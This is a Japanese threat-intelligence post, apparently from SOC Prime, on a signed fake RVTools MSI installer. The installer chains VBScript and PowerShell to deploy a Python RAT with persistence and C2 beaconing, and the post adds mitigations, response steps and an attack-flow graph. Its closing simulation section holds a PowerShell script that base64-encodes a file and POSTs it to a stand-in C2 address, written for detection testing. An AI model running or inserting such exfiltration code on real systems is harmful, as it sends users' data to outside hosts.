SOC Prime Bias: 中程度

29 May 2026 07:20 UTC

RVTools の偽装: 署名された偽インストーラーがモジュラPython RATを展開する方法

Author Photo
SOC Prime Team linkedin icon フォローする
RVTools の偽装: 署名された偽インストーラーがモジュラPython RATを展開する方法
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

正規の証明書で署名された悪意のあるMSIインストーラーが、VMware管理者が使用するRVToolsユーティリティを装っている。実行されると、インストーラーはVBScriptをドロップし、PowerShellを起動してDropboxから大きなZIPアーカイブをダウンロードする。アーカイブには、偵察、持続性、およびハードコードされたコマンドアンドコントロールサーバーへの通信が可能な多段階のRATを実行するポータブルPython環境が含まれている。

調査

解析はMSIをカスタムVBScriptアクションに追跡し、 Binary.MyScript.vbsが難読化されたPowerShellコマンドをデコードした。そのコマンドは winp.zip ペイロードを %APPDATA%にダウンロードし、Pythonコンポーネントや collector.py and Pmanager.pyのようなスクリプトを抽出し、再起動後にレジストリのRunキーとスケジュールドタスクを通じて持続性を確立した。研究者はまた、RATが収集したデータをRC4で暗号化し、5つの固定IPアドレスに5分間隔でビーコンを送信することを発見した。

緩和策

組織は、生のOCSPまたはCRLチェックを使用して厳格なコード署名の検証を実施し、信頼できないMSIの実行をブロックし、インストーラーパッケージに埋め込まれた不審なVBScriptカスタムアクションを監視する必要がある。また、防御者はダウンロードされたスクリプトの自動実行を防ぎ、新しいRunキーエントリやスケジュールドタスク作成を監視し、未知のハードコードされたIPアドレスへの送信トラフィックを警告する必要がある。

対応策

このアクティビティが検出された場合、影響を受けたエンドポイントを直ちに隔離し、法医学分析のためにMSI、VBScript、および抽出されたペイロードファイルを収集し、Runキーとスケジュールドタスクを含む全ての持続性のアーティファクトを削除する必要がある。識別されたコマンドアンドコントロールIPアドレスはファイアウォールでブロックされ、横移動が発生したかどうかを判断するために認証情報およびActive Directoryアクティビティの広範なレビューが行われるべきである。

graph TB %% Class definitions classDef phase fill:#99ccff classDef technique fill:#ffcc99 classDef tool fill:#cccccc classDef artifact fill:#e0e0e0 classDef persistence fill:#c2f0c2 classDef c2 fill:#f9c2c2 classDef evasion fill:#f0e68c %% Phases phase_initial_access[“<b>フェーズ</b>: 初期アクセス<br/><b>アクション</b> – 署名された悪性MSIを実行し、RVToolsとして偽装する。”] class phase_initial_access phase phase_execution[“<b>フェーズ</b>: 実行<br/><b>アクション</b> – MSIはMsiexecを使用してVBScriptを実行し、隠されたPowerShellダウンローダを起動する。”] class phase_execution phase phase_payload[“<b>フェーズ</b>: ペイロード展開<br/><b>アクション</b> – アーカイブが展開され、collector.pyとmanager.pyを含むWinPython環境が作成される。”] class phase_payload phase phase_persistence[“<b>フェーズ</b>: 永続化<br/><b>アクション</b> – PythonマネージャがレジストリRunキー、タスクスケジューラ、Active Setupを作成する。”] class phase_persistence phase phase_c2[“<b>フェーズ</b>: コマンド&コントロール<br/><b>アクション</b> – 収集データはRC4で暗号化され、HTTP POSTでハードコードIPへ送信される。”] class phase_c2 phase phase_evasion[“<b>フェーズ</b>: 防御回避<br/><b>アクション</b> – 署名済みバイナリ、プロキシ実行、文字オブファスケーションを使用して検知を回避する。”] class phase_evasion phase %% Techniques for Initial Access tech_user_execution[“<b>技術</b> T1204.002 ユーザ実行: 悪性ファイル<br/>ユーザが正規と信じてファイルを実行する。”] class tech_user_execution technique tech_masquerading[“<b>技術</b> T1036.001 偽装<br/>正規ユーティリティ(RVTools)として署名・命名される。”] class tech_masquerading technique tech_trusted_dev_proxy[“<b>技術</b> T1127 信頼された開発者ツールのプロキシ実行<br/>署名バイナリがレピュテーション回避に使用される。”] class tech_trusted_dev_proxy technique %% Techniques for Execution tech_msiexec_proxy[“<b>技術</b> T1218.007 システムバイナリプロキシ実行: Msiexec<br/>Msiexecが悪性MSIを実行する。”] class tech_msiexec_proxy technique tech_vbscript[“<b>技術</b> T1059.005 コマンド&スクリプトインタプリタ: VBScript<br/>カスタムアクションがVBScriptペイロードを起動する。”] class tech_vbscript technique tech_powershell[“<b>技術</b> T1059.001 コマンド&スクリプトインタプリタ: PowerShell<br/>VBScriptが隠されたPowerShellダウンローダを実行する。”] class tech_powershell technique %% Techniques for Payload Deployment tech_archive_custom[“<b>技術</b> T1560.003 データアーカイブ: カスタム方式<br/>33MBのzip(winp.zip)が展開されWinPython環境が作成される。”] class tech_archive_custom technique %% Techniques for Persistence tech_registry_run[“<b>技術</b> T1037.004 スタートアップスクリプト: レジストリRunキー<br/>起動時にmanager.pyを実行するRunキーを作成する。”] class tech_registry_run persistence tech_scheduled_task[“<b>技術</b> T1053 スケジュールタスク<br/>SYSTEM権限で毎日実行されるタスク。”] class tech_scheduled_task persistence tech_active_setup[“<b>技術</b> T1547.014 Active Setup自動実行<br/>ユーザごとに実行されるActive Setupエントリ。”] class tech_active_setup persistence tech_hijack_execution[“<b>技術</b> T1574 実行フロー乗っ取り<br/>スケジュールタスクが正規実行フローを乗っ取る。”] class tech_hijack_execution evasion %% Techniques for Command and Control tech_exfil_unencrypted[“<b>技術</b> T1048.003 非C2プロトコル経由の未暗号化送信<br/>HTTP POSTでIPへ送信される。”] class tech_exfil_unencrypted c2 tech_exfil_asymmetric[“<b>技術</b> T1048.002 非C2プロトコル経由の暗号化送信<br/>RC4で暗号化して送信される。”] class tech_exfil_asymmetric c2 %% Techniques for Defense Evasion tech_system_script_proxy[“<b>技術</b> T1216.002 システムスクリプトプロキシ実行: SyncAppvPublishingServer<br/>信頼されたスクリプトを悪用して活動を隠蔽する。”] class tech_system_script_proxy evasion tech_system_binary_proxy[“<b>技術</b> T1218 システムバイナリプロキシ実行<br/>署名付きユーティリティが悪用される。”] class tech_system_binary_proxy evasion %% Artifacts artifact_msi[“<b>アーティファクト</b>: malicious_RVTools.msi<br/>初期アクセスに使用される署名MSI。”] class artifact_msi artifact artifact_zip[“<b>アーティファクト</b>: winp.zip<br/>WinPythonを含むDropboxホストアーカイブ。”] class artifact_zip artifact artifact_python_env[“<b>アーティファクト</b>: WinPython環境<br/>collector.pyとmanager.pyを含む。”] class artifact_python_env artifact artifact_registry_key[“<b>アーティファクト</b>: レジストリRunキー<br/>WinPythonMgrを起動するキー。”] class artifact_registry_key artifact artifact_scheduled_task[“<b>アーティファクト</b>: スケジュールタスク<br/>WinPythonDaily(SYSTEM実行)。”] class artifact_scheduled_task artifact artifact_active_setup[“<b>アーティファクト</b>: Active Setupエントリ<br/>WinPythonの自動実行設定。”] class artifact_active_setup artifact artifact_c2_ip[“<b>アーティファクト</b>: C2 IPアドレス<br/>HTTP経由で接続されるIPv4アドレス。”] class artifact_c2_ip artifact %% Connections phase_initial_access –>|使用| tech_user_execution phase_initial_access –>|使用| tech_masquerading phase_initial_access –>|使用| tech_trusted_dev_proxy phase_initial_access –>|配布| artifact_msi tech_user_execution –>|実行| artifact_msi tech_masquerading –>|有効化| artifact_msi tech_trusted_dev_proxy –>|回避| artifact_msi phase_execution –>|利用| tech_msiexec_proxy tech_msiexec_proxy –>|実行| tech_vbscript tech_vbscript –>|起動| tech_powershell tech_powershell –>|ダウンロード| artifact_zip artifact_zip –>|展開| artifact_python_env phase_payload –>|含む| artifact_python_env phase_persistence –>|作成| tech_registry_run phase_persistence –>|作成| tech_scheduled_task phase_persistence –>|作成| tech_active_setup phase_persistence –>|使用| tech_hijack_execution tech_registry_run –>|書き込み| artifact_registry_key tech_scheduled_task –>|作成| artifact_scheduled_task tech_active_setup –>|書き込み| artifact_active_setup phase_c2 –>|アーカイブ&暗号化| tech_archive_custom tech_archive_custom –>|送信| tech_exfil_unencrypted tech_exfil_unencrypted –>|使用| artifact_c2_ip tech_exfil_unencrypted –>|併用| tech_exfil_asymmetric phase_evasion –>|適用| tech_system_script_proxy phase_evasion –>|適用| tech_system_binary_proxy tech_system_binary_proxy –>|促進| tech_msiexec_proxy tech_system_script_proxy –>|促進| tech_vbscript

攻撃フロー

シミュレーション実行

前提条件: テレメトリーとベースラインの事前飛行チェックが通過している必要があります。

理論: このセクションでは、検出ルールをトリガーするために設計された攻撃者テクニック(TTP)の正確な実行を詳述します。コマンドとナラティブは特定されたTTPを直接反映し、検出ロジックが期待する正確なテレメトリーを生成することを目指します。

  • 攻撃のナラティブとコマンド:
    被害者マシンで既に足がかりを得た攻撃者は、小さなデータセット(例えば、 C:Tempsecret.txt)を流出させることを決定します。攻撃者は一般的なアウトバウンドトラフィック警報を引き起こさないように、 PowerShell のワンライナーを使用して、ハードコードされたC2 IPの1つ(192.0.2.10)に直接HTTP POSTを実行します。このコマンドはWindowsで スケジュールドタスク によって設定され、持続性を確保します(T1546.013)。追加のバイナリはドロップされず、活動は「living-off-the-land」を維持します。

  • リグレッションテストスクリプト:

    # -------------------------------------------------
    # PowerShellスクリプト - ハードコードされたIPを介したデータ流出
    # -------------------------------------------------
    $c2Ip   = "192.0.2.10"
    $c2Port = 80
    $uri    = "http://$c2Ip/exfil"
    $file   = "C:Tempsecret.txt"
    
    # ファイルが存在することを確認します(テスト用にダミーデータを作成)
    if (-Not (Test-Path $file)) {
        "sensitive data $(Get-Date)" | Out-File -FilePath $file -Encoding ASCII
    }
    
    # ファイルの内容を読み込み、Base64でエンコードします
    $payload = [Convert]::ToBase64String([IO.File]::ReadAllBytes($file))
    
    # HTTP POSTを実行します
    $body = @{ data = $payload }
    try {
        Invoke-WebRequest -Uri $uri -Method POST -Body $body -UseBasicParsing -TimeoutSec 10
        Write-Host "$c2Ipへの流出試みが送信されました"
    } catch {
        Write-Error "流出に失敗しました: $_"
    }
  • クリーンアップコマンド:

    # ダミーファイルを削除します
    Remove-Item -Path "C:Tempsecret.txt" -Force -ErrorAction SilentlyContinue
    
    # テストのために作成されたスケジュールドタスクを削除します
    $taskName = "DataExfilTask"
    if (Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue) {
        Unregister-ScheduledTask -TaskName $taskName -Confirm:$false
    }